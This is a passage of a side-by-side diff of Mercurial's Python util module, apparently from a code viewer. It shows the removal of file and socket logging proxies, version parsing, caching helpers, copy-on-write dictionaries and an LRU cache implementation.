409 self._lenbuf = len(self._buffer[0])
410 lfi = -1
411 if self._buffer:
412 lfi = self._buffer[-1].find('\n')
413 while (not self._eof) and lfi < 0:
414 self._fillbuffer()
415 if self._buffer:
416 lfi = self._buffer[-1].find('\n')
417 size = lfi + 1
418 if lfi < 0: # end of file
419 size = self._lenbuf
420 elif 1 < len(self._buffer):
421 # we need to take previous chunks into account
422 size += self._lenbuf - len(self._buffer[-1])
423 return self._frombuffer(size)
424
425 def _frombuffer(self, size):
426 """return at most 'size' data from the buffer
427
428 The data are removed from the buffer."""
429 if size == 0 or not self._buffer:
430 return ''
431 buf = self._buffer[0]
432 if 1 < len(self._buffer):
433 buf = ''.join(self._buffer)
434
435 data = buf[:size]
436 buf = buf[len(data):]
437 if buf:
438 self._buffer = [buf]
439 self._lenbuf = len(buf)
440 else:
441 self._buffer = []
442 self._lenbuf = 0
443 return data
444
445 def _fillbuffer(self):
446 """read data to the buffer"""
447 data = os.read(self._input.fileno(), _chunksize)
448 if not data:
449 self._eof = True
450 else:
451 self._lenbuf += len(data)
452 self._buffer.append(data)
453
454 return data
455
456 def mmapread(fp):
457 try:
458 fd = getattr(fp, 'fileno', lambda: fp)()
459 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
460 except ValueError:
461 # Empty files cannot be mmapped, but mmapread should still work. Check
462 # if the file is empty, and if so, return an empty buffer.
463 if os.fstat(fd).st_size == 0:
464 return ''
465 raise
466
467 def popen2(cmd, env=None, newlines=False):
82 def popen2(cmd, env=None, newlines=False):
468 # Setting bufsize to -1 lets the system decide the buffer size.
83 # Setting bufsize to -1 lets the system decide the buffer size.
469 # The default for bufsize is 0, meaning unbuffered. This leads to
84 # The default for bufsize is 0, meaning unbuffered. This leads to
@@ -488,1018 +103,6 b' def popen4(cmd, env=None, newlines=False'
488 env=env)
103 env=env)
489 return p.stdin, p.stdout, p.stderr, p
104 return p.stdin, p.stdout, p.stderr, p
490
105
491 class fileobjectproxy(object):
492 """A proxy around file objects that tells a watcher when events occur.
493
494 This type is intended to only be used for testing purposes. Think hard
495 before using it in important code.
496 """
497 __slots__ = (
498 r'_orig',
499 r'_observer',
500 )
501
502 def __init__(self, fh, observer):
503 object.__setattr__(self, r'_orig', fh)
504 object.__setattr__(self, r'_observer', observer)
505
506 def __getattribute__(self, name):
507 ours = {
508 r'_observer',
509
510 # IOBase
511 r'close',
512 # closed if a property
513 r'fileno',
514 r'flush',
515 r'isatty',
516 r'readable',
517 r'readline',
518 r'readlines',
519 r'seek',
520 r'seekable',
521 r'tell',
522 r'truncate',
523 r'writable',
524 r'writelines',
525 # RawIOBase
526 r'read',
527 r'readall',
528 r'readinto',
529 r'write',
530 # BufferedIOBase
531 # raw is a property
532 r'detach',
533 # read defined above
534 r'read1',
535 # readinto defined above
536 # write defined above
537 }
538
539 # We only observe some methods.
540 if name in ours:
541 return object.__getattribute__(self, name)
542
543 return getattr(object.__getattribute__(self, r'_orig'), name)
544
545 def __nonzero__(self):
546 return bool(object.__getattribute__(self, r'_orig'))
547
548 __bool__ = __nonzero__
549
550 def __delattr__(self, name):
551 return delattr(object.__getattribute__(self, r'_orig'), name)
552
553 def __setattr__(self, name, value):
554 return setattr(object.__getattribute__(self, r'_orig'), name, value)
555
556 def __iter__(self):
557 return object.__getattribute__(self, r'_orig').__iter__()
558
559 def _observedcall(self, name, *args, **kwargs):
560 # Call the original object.
561 orig = object.__getattribute__(self, r'_orig')
562 res = getattr(orig, name)(*args, **kwargs)
563
564 # Call a method on the observer of the same name with arguments
565 # so it can react, log, etc.
566 observer = object.__getattribute__(self, r'_observer')
567 fn = getattr(observer, name, None)
568 if fn:
569 fn(res, *args, **kwargs)
570
571 return res
572
573 def close(self, *args, **kwargs):
574 return object.__getattribute__(self, r'_observedcall')(
575 r'close', *args, **kwargs)
576
577 def fileno(self, *args, **kwargs):
578 return object.__getattribute__(self, r'_observedcall')(
579 r'fileno', *args, **kwargs)
580
581 def flush(self, *args, **kwargs):
582 return object.__getattribute__(self, r'_observedcall')(
583 r'flush', *args, **kwargs)
584
585 def isatty(self, *args, **kwargs):
586 return object.__getattribute__(self, r'_observedcall')(
587 r'isatty', *args, **kwargs)
588
589 def readable(self, *args, **kwargs):
590 return object.__getattribute__(self, r'_observedcall')(
591 r'readable', *args, **kwargs)
592
593 def readline(self, *args, **kwargs):
594 return object.__getattribute__(self, r'_observedcall')(
595 r'readline', *args, **kwargs)
596
597 def readlines(self, *args, **kwargs):
598 return object.__getattribute__(self, r'_observedcall')(
599 r'readlines', *args, **kwargs)
600
601 def seek(self, *args, **kwargs):
602 return object.__getattribute__(self, r'_observedcall')(
603 r'seek', *args, **kwargs)
604
605 def seekable(self, *args, **kwargs):
606 return object.__getattribute__(self, r'_observedcall')(
607 r'seekable', *args, **kwargs)
608
609 def tell(self, *args, **kwargs):
610 return object.__getattribute__(self, r'_observedcall')(
611 r'tell', *args, **kwargs)
612
613 def truncate(self, *args, **kwargs):
614 return object.__getattribute__(self, r'_observedcall')(
615 r'truncate', *args, **kwargs)
616
617 def writable(self, *args, **kwargs):
618 return object.__getattribute__(self, r'_observedcall')(
619 r'writable', *args, **kwargs)
620
621 def writelines(self, *args, **kwargs):
622 return object.__getattribute__(self, r'_observedcall')(
623 r'writelines', *args, **kwargs)
624
625 def read(self, *args, **kwargs):
626 return object.__getattribute__(self, r'_observedcall')(
627 r'read', *args, **kwargs)
628
629 def readall(self, *args, **kwargs):
630 return object.__getattribute__(self, r'_observedcall')(
631 r'readall', *args, **kwargs)
632
633 def readinto(self, *args, **kwargs):
634 return object.__getattribute__(self, r'_observedcall')(
635 r'readinto', *args, **kwargs)
636
637 def write(self, *args, **kwargs):
638 return object.__getattribute__(self, r'_observedcall')(
639 r'write', *args, **kwargs)
640
641 def detach(self, *args, **kwargs):
642 return object.__getattribute__(self, r'_observedcall')(
643 r'detach', *args, **kwargs)
644
645 def read1(self, *args, **kwargs):
646 return object.__getattribute__(self, r'_observedcall')(
647 r'read1', *args, **kwargs)
648
649 class observedbufferedinputpipe(bufferedinputpipe):
650 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
651
652 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
653 bypass ``fileobjectproxy``. Because of this, we need to make
654 ``bufferedinputpipe`` aware of these operations.
655
656 This variation of ``bufferedinputpipe`` can notify observers about
657 ``os.read()`` events. It also re-publishes other events, such as
658 ``read()`` and ``readline()``.
659 """
660 def _fillbuffer(self):
661 res = super(observedbufferedinputpipe, self)._fillbuffer()
662
663 fn = getattr(self._input._observer, r'osread', None)
664 if fn:
665 fn(res, _chunksize)
666
667 return res
668
669 # We use different observer methods because the operation isn't
670 # performed on the actual file object but on us.
671 def read(self, size):
672 res = super(observedbufferedinputpipe, self).read(size)
673
674 fn = getattr(self._input._observer, r'bufferedread', None)
675 if fn:
676 fn(res, size)
677
678 return res
679
680 def readline(self, *args, **kwargs):
681 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
682
683 fn = getattr(self._input._observer, r'bufferedreadline', None)
684 if fn:
685 fn(res)
686
687 return res
688
689 PROXIED_SOCKET_METHODS = {
690 r'makefile',
691 r'recv',
692 r'recvfrom',
693 r'recvfrom_into',
694 r'recv_into',
695 r'send',
696 r'sendall',
697 r'sendto',
698 r'setblocking',
699 r'settimeout',
700 r'gettimeout',
701 r'setsockopt',
702 }
703
704 class socketproxy(object):
705 """A proxy around a socket that tells a watcher when events occur.
706
707 This is like ``fileobjectproxy`` except for sockets.
708
709 This type is intended to only be used for testing purposes. Think hard
710 before using it in important code.
711 """
712 __slots__ = (
713 r'_orig',
714 r'_observer',
715 )
716
717 def __init__(self, sock, observer):
718 object.__setattr__(self, r'_orig', sock)
719 object.__setattr__(self, r'_observer', observer)
720
721 def __getattribute__(self, name):
722 if name in PROXIED_SOCKET_METHODS:
723 return object.__getattribute__(self, name)
724
725 return getattr(object.__getattribute__(self, r'_orig'), name)
726
727 def __delattr__(self, name):
728 return delattr(object.__getattribute__(self, r'_orig'), name)
729
730 def __setattr__(self, name, value):
731 return setattr(object.__getattribute__(self, r'_orig'), name, value)
732
733 def __nonzero__(self):
734 return bool(object.__getattribute__(self, r'_orig'))
735
736 __bool__ = __nonzero__
737
738 def _observedcall(self, name, *args, **kwargs):
739 # Call the original object.
740 orig = object.__getattribute__(self, r'_orig')
741 res = getattr(orig, name)(*args, **kwargs)
742
743 # Call a method on the observer of the same name with arguments
744 # so it can react, log, etc.
745 observer = object.__getattribute__(self, r'_observer')
746 fn = getattr(observer, name, None)
747 if fn:
748 fn(res, *args, **kwargs)
749
750 return res
751
752 def makefile(self, *args, **kwargs):
753 res = object.__getattribute__(self, r'_observedcall')(
754 r'makefile', *args, **kwargs)
755
756 # The file object may be used for I/O. So we turn it into a
757 # proxy using our observer.
758 observer = object.__getattribute__(self, r'_observer')
759 return makeloggingfileobject(observer.fh, res, observer.name,
760 reads=observer.reads,
761 writes=observer.writes,
762 logdata=observer.logdata,
763 logdataapis=observer.logdataapis)
764
765 def recv(self, *args, **kwargs):
766 return object.__getattribute__(self, r'_observedcall')(
767 r'recv', *args, **kwargs)
768
769 def recvfrom(self, *args, **kwargs):
770 return object.__getattribute__(self, r'_observedcall')(
771 r'recvfrom', *args, **kwargs)
772
773 def recvfrom_into(self, *args, **kwargs):
774 return object.__getattribute__(self, r'_observedcall')(
775 r'recvfrom_into', *args, **kwargs)
776
777 def recv_into(self, *args, **kwargs):
778 return object.__getattribute__(self, r'_observedcall')(
779 r'recv_info', *args, **kwargs)
780
781 def send(self, *args, **kwargs):
782 return object.__getattribute__(self, r'_observedcall')(
783 r'send', *args, **kwargs)
784
785 def sendall(self, *args, **kwargs):
786 return object.__getattribute__(self, r'_observedcall')(
787 r'sendall', *args, **kwargs)
788
789 def sendto(self, *args, **kwargs):
790 return object.__getattribute__(self, r'_observedcall')(
791 r'sendto', *args, **kwargs)
792
793 def setblocking(self, *args, **kwargs):
794 return object.__getattribute__(self, r'_observedcall')(
795 r'setblocking', *args, **kwargs)
796
797 def settimeout(self, *args, **kwargs):
798 return object.__getattribute__(self, r'_observedcall')(
799 r'settimeout', *args, **kwargs)
800
801 def gettimeout(self, *args, **kwargs):
802 return object.__getattribute__(self, r'_observedcall')(
803 r'gettimeout', *args, **kwargs)
804
805 def setsockopt(self, *args, **kwargs):
806 return object.__getattribute__(self, r'_observedcall')(
807 r'setsockopt', *args, **kwargs)
808
809 class baseproxyobserver(object):
810 def _writedata(self, data):
811 if not self.logdata:
812 if self.logdataapis:
813 self.fh.write('\n')
814 self.fh.flush()
815 return
816
817 # Simple case writes all data on a single line.
818 if b'\n' not in data:
819 if self.logdataapis:
820 self.fh.write(': %s\n' % stringutil.escapedata(data))
821 else:
822 self.fh.write('%s> %s\n'
823 % (self.name, stringutil.escapedata(data)))
824 self.fh.flush()
825 return
826
827 # Data with newlines is written to multiple lines.
828 if self.logdataapis:
829 self.fh.write(':\n')
830
831 lines = data.splitlines(True)
832 for line in lines:
833 self.fh.write('%s> %s\n'
834 % (self.name, stringutil.escapedata(line)))
835 self.fh.flush()
836
837 class fileobjectobserver(baseproxyobserver):
838 """Logs file object activity."""
839 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
840 logdataapis=True):
841 self.fh = fh
842 self.name = name
843 self.logdata = logdata
844 self.logdataapis = logdataapis
845 self.reads = reads
846 self.writes = writes
847
848 def read(self, res, size=-1):
849 if not self.reads:
850 return
851 # Python 3 can return None from reads at EOF instead of empty strings.
852 if res is None:
853 res = ''
854
855 if self.logdataapis:
856 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
857
858 self._writedata(res)
859
860 def readline(self, res, limit=-1):
861 if not self.reads:
862 return
863
864 if self.logdataapis:
865 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
866
867 self._writedata(res)
868
869 def readinto(self, res, dest):
870 if not self.reads:
871 return
872
873 if self.logdataapis:
874 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
875 res))
876
877 data = dest[0:res] if res is not None else b''
878 self._writedata(data)
879
880 def write(self, res, data):
881 if not self.writes:
882 return
883
884 # Python 2 returns None from some write() calls. Python 3 (reasonably)
885 # returns the integer bytes written.
886 if res is None and data:
887 res = len(data)
888
889 if self.logdataapis:
890 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
891
892 self._writedata(data)
893
894 def flush(self, res):
895 if not self.writes:
896 return
897
898 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
899
900 # For observedbufferedinputpipe.
901 def bufferedread(self, res, size):
902 if not self.reads:
903 return
904
905 if self.logdataapis:
906 self.fh.write('%s> bufferedread(%d) -> %d' % (
907 self.name, size, len(res)))
908
909 self._writedata(res)
910
911 def bufferedreadline(self, res):
912 if not self.reads:
913 return
914
915 if self.logdataapis:
916 self.fh.write('%s> bufferedreadline() -> %d' % (
917 self.name, len(res)))
918
919 self._writedata(res)
920
921 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
922 logdata=False, logdataapis=True):
923 """Turn a file object into a logging file object."""
924
925 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
926 logdata=logdata, logdataapis=logdataapis)
927 return fileobjectproxy(fh, observer)
928
929 class socketobserver(baseproxyobserver):
930 """Logs socket activity."""
931 def __init__(self, fh, name, reads=True, writes=True, states=True,
932 logdata=False, logdataapis=True):
933 self.fh = fh
934 self.name = name
935 self.reads = reads
936 self.writes = writes
937 self.states = states
938 self.logdata = logdata
939 self.logdataapis = logdataapis
940
941 def makefile(self, res, mode=None, bufsize=None):
942 if not self.states:
943 return
944
945 self.fh.write('%s> makefile(%r, %r)\n' % (
946 self.name, mode, bufsize))
947
948 def recv(self, res, size, flags=0):
949 if not self.reads:
950 return
951
952 if self.logdataapis:
953 self.fh.write('%s> recv(%d, %d) -> %d' % (
954 self.name, size, flags, len(res)))
955 self._writedata(res)
956
957 def recvfrom(self, res, size, flags=0):
958 if not self.reads:
959 return
960
961 if self.logdataapis:
962 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
963 self.name, size, flags, len(res[0])))
964
965 self._writedata(res[0])
966
967 def recvfrom_into(self, res, buf, size, flags=0):
968 if not self.reads:
969 return
970
971 if self.logdataapis:
972 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
973 self.name, size, flags, res[0]))
974
975 self._writedata(buf[0:res[0]])
976
977 def recv_into(self, res, buf, size=0, flags=0):
978 if not self.reads:
979 return
980
981 if self.logdataapis:
982 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
983 self.name, size, flags, res))
984
985 self._writedata(buf[0:res])
986
987 def send(self, res, data, flags=0):
988 if not self.writes:
989 return
990
991 self.fh.write('%s> send(%d, %d) -> %d' % (
992 self.name, len(data), flags, len(res)))
993 self._writedata(data)
994
995 def sendall(self, res, data, flags=0):
996 if not self.writes:
997 return
998
999 if self.logdataapis:
1000 # Returns None on success. So don't bother reporting return value.
1001 self.fh.write('%s> sendall(%d, %d)' % (
1002 self.name, len(data), flags))
1003
1004 self._writedata(data)
1005
1006 def sendto(self, res, data, flagsoraddress, address=None):
1007 if not self.writes:
1008 return
1009
1010 if address:
1011 flags = flagsoraddress
1012 else:
1013 flags = 0
1014
1015 if self.logdataapis:
1016 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
1017 self.name, len(data), flags, address, res))
1018
1019 self._writedata(data)
1020
1021 def setblocking(self, res, flag):
1022 if not self.states:
1023 return
1024
1025 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
1026
1027 def settimeout(self, res, value):
1028 if not self.states:
1029 return
1030
1031 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
1032
1033 def gettimeout(self, res):
1034 if not self.states:
1035 return
1036
1037 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
1038
1039 def setsockopt(self, level, optname, value):
1040 if not self.states:
1041 return
1042
1043 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
1044 self.name, level, optname, value))
1045
1046 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
1047 logdata=False, logdataapis=True):
1048 """Turn a socket into a logging socket."""
1049
1050 observer = socketobserver(logh, name, reads=reads, writes=writes,
1051 states=states, logdata=logdata,
1052 logdataapis=logdataapis)
1053 return socketproxy(fh, observer)
1054
1055 def version():
1056 """Return version information if available."""
1057 try:
1058 from . import __version__
1059 return __version__.version
1060 except ImportError:
1061 return 'unknown'
1062
1063 def versiontuple(v=None, n=4):
1064 """Parses a Mercurial version string into an N-tuple.
1065
1066 The version string to be parsed is specified with the ``v`` argument.
1067 If it isn't defined, the current Mercurial version string will be parsed.
1068
1069 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1070 returned values:
1071
1072 >>> v = b'3.6.1+190-df9b73d2d444'
1073 >>> versiontuple(v, 2)
1074 (3, 6)
1075 >>> versiontuple(v, 3)
1076 (3, 6, 1)
1077 >>> versiontuple(v, 4)
1078 (3, 6, 1, '190-df9b73d2d444')
1079
1080 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1081 (3, 6, 1, '190-df9b73d2d444+20151118')
1082
1083 >>> v = b'3.6'
1084 >>> versiontuple(v, 2)
1085 (3, 6)
1086 >>> versiontuple(v, 3)
1087 (3, 6, None)
1088 >>> versiontuple(v, 4)
1089 (3, 6, None, None)
1090
1091 >>> v = b'3.9-rc'
1092 >>> versiontuple(v, 2)
1093 (3, 9)
1094 >>> versiontuple(v, 3)
1095 (3, 9, None)
1096 >>> versiontuple(v, 4)
1097 (3, 9, None, 'rc')
1098
1099 >>> v = b'3.9-rc+2-02a8fea4289b'
1100 >>> versiontuple(v, 2)
1101 (3, 9)
1102 >>> versiontuple(v, 3)
1103 (3, 9, None)
1104 >>> versiontuple(v, 4)
1105 (3, 9, None, 'rc+2-02a8fea4289b')
1106 """
1107 if not v:
1108 v = version()
1109 parts = remod.split('[\+-]', v, 1)
1110 if len(parts) == 1:
1111 vparts, extra = parts[0], None
1112 else:
1113 vparts, extra = parts
1114
1115 vints = []
1116 for i in vparts.split('.'):
1117 try:
1118 vints.append(int(i))
1119 except ValueError:
1120 break
1121 # (3, 6) -> (3, 6, None)
1122 while len(vints) < 3:
1123 vints.append(None)
1124
1125 if n == 2:
1126 return (vints[0], vints[1])
1127 if n == 3:
1128 return (vints[0], vints[1], vints[2])
1129 if n == 4:
1130 return (vints[0], vints[1], vints[2], extra)
1131
1132 def cachefunc(func):
1133 '''cache the result of function calls'''
1134 # XXX doesn't handle keywords args
1135 if func.__code__.co_argcount == 0:
1136 cache = []
1137 def f():
1138 if len(cache) == 0:
1139 cache.append(func())
1140 return cache[0]
1141 return f
1142 cache = {}
1143 if func.__code__.co_argcount == 1:
1144 # we gain a small amount of time because
1145 # we don't need to pack/unpack the list
1146 def f(arg):
1147 if arg not in cache:
1148 cache[arg] = func(arg)
1149 return cache[arg]
1150 else:
1151 def f(*args):
1152 if args not in cache:
1153 cache[args] = func(*args)
1154 return cache[args]
1155
1156 return f
1157
1158 class cow(object):
1159 """helper class to make copy-on-write easier
1160
1161 Call preparewrite before doing any writes.
1162 """
1163
1164 def preparewrite(self):
1165 """call this before writes, return self or a copied new object"""
1166 if getattr(self, '_copied', 0):
1167 self._copied -= 1
1168 return self.__class__(self)
1169 return self
1170
1171 def copy(self):
1172 """always do a cheap copy"""
1173 self._copied = getattr(self, '_copied', 0) + 1
1174 return self
1175
1176 class sortdict(collections.OrderedDict):
1177 '''a simple sorted dictionary
1178
1179 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1180 >>> d2 = d1.copy()
1181 >>> d2
1182 sortdict([('a', 0), ('b', 1)])
1183 >>> d2.update([(b'a', 2)])
1184 >>> list(d2.keys()) # should still be in last-set order
1185 ['b', 'a']
1186 '''
1187
1188 def __setitem__(self, key, value):
1189 if key in self:
1190 del self[key]
1191 super(sortdict, self).__setitem__(key, value)
1192
1193 if pycompat.ispypy:
1194 # __setitem__() isn't called as of PyPy 5.8.0
1195 def update(self, src):
1196 if isinstance(src, dict):
1197 src = src.iteritems()
1198 for k, v in src:
1199 self[k] = v
1200
1201 class cowdict(cow, dict):
1202 """copy-on-write dict
1203
1204 Be sure to call d = d.preparewrite() before writing to d.
1205
1206 >>> a = cowdict()
1207 >>> a is a.preparewrite()
1208 True
1209 >>> b = a.copy()
1210 >>> b is a
1211 True
1212 >>> c = b.copy()
1213 >>> c is a
1214 True
1215 >>> a = a.preparewrite()
1216 >>> b is a
1217 False
1218 >>> a is a.preparewrite()
1219 True
1220 >>> c = c.preparewrite()
1221 >>> b is c
1222 False
1223 >>> b is b.preparewrite()
1224 True
1225 """
1226
1227 class cowsortdict(cow, sortdict):
1228 """copy-on-write sortdict
1229
1230 Be sure to call d = d.preparewrite() before writing to d.
1231 """
1232
1233 class transactional(object):
1234 """Base class for making a transactional type into a context manager."""
1235 __metaclass__ = abc.ABCMeta
1236
1237 @abc.abstractmethod
1238 def close(self):
1239 """Successfully closes the transaction."""
1240
1241 @abc.abstractmethod
1242 def release(self):
1243 """Marks the end of the transaction.
1244
1245 If the transaction has not been closed, it will be aborted.
1246 """
1247
1248 def __enter__(self):
1249 return self
1250
1251 def __exit__(self, exc_type, exc_val, exc_tb):
1252 try:
1253 if exc_type is None:
1254 self.close()
1255 finally:
1256 self.release()
1257
1258 @contextlib.contextmanager
1259 def acceptintervention(tr=None):
1260 """A context manager that closes the transaction on InterventionRequired
1261
1262 If no transaction was provided, this simply runs the body and returns
1263 """
1264 if not tr:
1265 yield
1266 return
1267 try:
1268 yield
1269 tr.close()
1270 except error.InterventionRequired:
1271 tr.close()
1272 raise
1273 finally:
1274 tr.release()
1275
1276 @contextlib.contextmanager
1277 def nullcontextmanager():
1278 yield
1279
1280 class _lrucachenode(object):
1281 """A node in a doubly linked list.
1282
1283 Holds a reference to nodes on either side as well as a key-value
1284 pair for the dictionary entry.
1285 """
1286 __slots__ = (u'next', u'prev', u'key', u'value')
1287
1288 def __init__(self):
1289 self.next = None
1290 self.prev = None
1291
1292 self.key = _notset
1293 self.value = None
1294
1295 def markempty(self):
1296 """Mark the node as emptied."""
1297 self.key = _notset
1298
1299 class lrucachedict(object):
1300 """Dict that caches most recent accesses and sets.
1301
1302 The dict consists of an actual backing dict - indexed by original
1303 key - and a doubly linked circular list defining the order of entries in
1304 the cache.
1305
1306 The head node is the newest entry in the cache. If the cache is full,
1307 we recycle head.prev and make it the new head. Cache accesses result in
1308 the node being moved to before the existing head and being marked as the
1309 new head node.
1310 """
1311 def __init__(self, max):
1312 self._cache = {}
1313
1314 self._head = head = _lrucachenode()
1315 head.prev = head
1316 head.next = head
1317 self._size = 1
1318 self._capacity = max
1319
1320 def __len__(self):
1321 return len(self._cache)
1322
1323 def __contains__(self, k):
1324 return k in self._cache
1325
1326 def __iter__(self):
1327 # We don't have to iterate in cache order, but why not.
1328 n = self._head
1329 for i in range(len(self._cache)):
1330 yield n.key
1331 n = n.next
1332
1333 def __getitem__(self, k):
1334 node = self._cache[k]
1335 self._movetohead(node)
1336 return node.value
1337
1338 def __setitem__(self, k, v):
1339 node = self._cache.get(k)
1340 # Replace existing value and mark as newest.
1341 if node is not None:
1342 node.value = v
1343 self._movetohead(node)
1344 return
1345
1346 if self._size < self._capacity:
1347 node = self._addcapacity()
1348 else:
1349 # Grab the last/oldest item.
1350 node = self._head.prev
1351
1352 # At capacity. Kill the old entry.
1353 if node.key is not _notset:
1354 del self._cache[node.key]
1355
1356 node.key = k
1357 node.value = v
1358 self._cache[k] = node
1359 # And mark it as newest entry. No need to adjust order since it
1360 # is already self._head.prev.
1361 self._head = node
1362
1363 def __delitem__(self, k):
1364 node = self._cache.pop(k)
1365 node.markempty()
1366
1367 # Temporarily mark as newest item before re-adjusting head to make
1368 # this node the oldest item.
1369 self._movetohead(node)
1370 self._head = node.next
1371
1372 # Additional dict methods.
1373
1374 def get(self, k, default=None):
1375 try:
1376 return self._cache[k].value
1377 except KeyError:
1378 return default
1379
1380 def clear(self):
1381 n = self._head
1382 while n.key is not _notset:
1383 n.markempty()
1384 n = n.next
1385
1386 self._cache.clear()
1387
1388 def copy(self):
1389 result = lrucachedict(self._capacity)
1390 n = self._head.prev
1391 # Iterate in oldest-to-newest order, so the copy has the right ordering
1392 for i in range(len(self._cache)):
1393 result[n.key] = n.value
1394 n = n.prev
1395 return result
1396
1397 def _movetohead(self, node):
1398 """Mark a node as the newest, making it the new head.
1399
1400 When a node is accessed, it becomes the freshest entry in the LRU
1401 list, which is denoted by self._head.
1402
1403 Visually, let's make ``N`` the new head node (* denotes head):
1404
1405 previous/oldest <-> head <-> next/next newest
1406
1407 ----<->--- A* ---<->-----
1408 | |
1409 E <-> D <-> N <-> C <-> B
1410
1411 To:
1412
1413 ----<->--- N* ---<->-----
1414 | |
1415 E <-> D <-> C <-> B <-> A
1416
1417 This requires the following moves:
1418
1419 C.next = D (node.prev.next = node.next)
1420 D.prev = C (node.next.prev = node.prev)
1421 E.next = N (head.prev.next = node)
1422 N.prev = E (node.prev = head.prev)
1423 N.next = A (node.next = head)
1424 A.prev = N (head.prev = node)
1425 """
1426 head = self._head
1427 # C.next = D
1428 node.prev.next = node.next
1429 # D.prev = C
1430 node.next.prev = node.prev
1431 # N.prev = E
1432 node.prev = head.prev
1433 # N.next = A
1434 # It is tempting to do just "head" here, however if node is
1435 # adjacent to head, this will do bad things.
1436 node.next = head.prev.next
1437 # E.next = N
1438 node.next.prev = node
1439 # A.prev = N
1440 node.prev.next = node
1441
1442 self._head = node
1443
1444 def _addcapacity(self):
1445 """Add a node to the circular linked list.
1446
1447 The new node is inserted before the head node.
1448 """
1449 head = self._head
1450 node = _lrucachenode()
1451 head.prev.next = node
1452 node.prev = head.prev
1453 node.next = head
1454 head.prev = node
1455 self._size += 1
1456 return node
1457
1458 def lrucachefunc(func):
1459 '''cache most recent results of function calls'''
1460 cache = {}
1461 order = collections.deque()
1462 if func.__code__.co_argcount == 1:
1463 def f(arg):
1464 if arg not in cache:
1465 if len(cache) > 20:
1466 del cache[order.popleft()]
1467 cache[arg] = func(arg)
1468 else:
1469 order.remove(arg)
1470 order.append(arg)
1471 return cache[arg]
1472 else:
1473 def f(*args):
1474 if args not in cache:
1475 if len(cache) > 20:
1476 del cache[order.popleft()]
1477 cache[args] = func(*args)
1478 else:
1479 order.remove(args)
1480 order.append(args)
1481 return cache[args]
1482
1483 return f
1484
1485 class propertycache(object):
1486 def __init__(self, func):
1487 self.func = func
1488 self.name = func.__name__
1489 def __get__(self, obj, type=None):
1490 result = self.func(obj)
1491 self.cachevalue(obj, result)
1492 return result
1493
1494 def cachevalue(self, obj, value):
1495 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1496 obj.__dict__[self.name] = value
1497
1498 def clearcachedproperty(obj, prop):
1499 '''clear a cached property value, if one has been set'''
1500 if prop in obj.__dict__:
1501 del obj.__dict__[prop]
1502
1503 def pipefilter(s, cmd):
106 def pipefilter(s, cmd):
1504 '''filter string S through command CMD, returning its output'''
107 '''filter string S through command CMD, returning its output'''
1505 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
108 p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
@@ -1554,115 +157,16 b' def filter(s, cmd):'
1554 return fn(s, cmd[len(name):].lstrip())
157 return fn(s, cmd[len(name):].lstrip())
1555 return pipefilter(s, cmd)
158 return pipefilter(s, cmd)
1556
159
1557 def increasingchunks(source, min=1024, max=65536):
1558 '''return no less than min bytes per chunk while data remains,
1559 doubling min after each chunk until it reaches max'''
1560 def log2(x):
1561 if not x:
1562 return 0
1563 i = 0
1564 while x:
1565 x >>= 1
1566 i += 1
1567 return i - 1
1568
1569 buf = []
1570 blen = 0
1571 for chunk in source:
1572 buf.append(chunk)
1573 blen += len(chunk)
1574 if blen >= min:
1575 if min < max:
1576 min = min << 1
1577 nmin = 1 << log2(blen)
1578 if nmin > min:
1579 min = nmin
1580 if min > max:
1581 min = max
1582 yield ''.join(buf)
1583 blen = 0
1584 buf = []
1585 if buf:
1586 yield ''.join(buf)
1587
1588 def always(fn):
1589 return True
1590
1591 def never(fn):
1592 return False
1593
1594 def nogc(func):
1595 """disable garbage collector
1596
1597 Python's garbage collector triggers a GC each time a certain number of
1598 container objects (the number being defined by gc.get_threshold()) are
1599 allocated even when marked not to be tracked by the collector. Tracking has
1600 no effect on when GCs are triggered, only on what objects the GC looks
1601 into. As a workaround, disable GC while building complex (huge)
1602 containers.
1603
1604 This garbage collector issue have been fixed in 2.7. But it still affect
1605 CPython's performance.
1606 """
1607 def wrapper(*args, **kwargs):
1608 gcenabled = gc.isenabled()
1609 gc.disable()
1610 try:
1611 return func(*args, **kwargs)
1612 finally:
1613 if gcenabled:
1614 gc.enable()
1615 return wrapper
1616
1617 if pycompat.ispypy:
1618 # PyPy runs slower with gc disabled
1619 nogc = lambda x: x
1620
1621 def pathto(root, n1, n2):
1622 '''return the relative path from one place to another.
1623 root should use os.sep to separate directories
1624 n1 should use os.sep to separate directories
1625 n2 should use "/" to separate directories
1626 returns an os.sep-separated path.
1627
1628 If n1 is a relative path, it's assumed it's
1629 relative to root.
1630 n2 should always be relative to root.
1631 '''
1632 if not n1:
1633 return localpath(n2)
1634 if os.path.isabs(n1):
1635 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1636 return os.path.join(root, localpath(n2))
1637 n2 = '/'.join((pconvert(root), n2))
1638 a, b = splitpath(n1), n2.split('/')
1639 a.reverse()
1640 b.reverse()
1641 while a and b and a[-1] == b[-1]:
1642 a.pop()
1643 b.pop()
1644 b.reverse()
1645 return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
1646
1647 def mainfrozen():
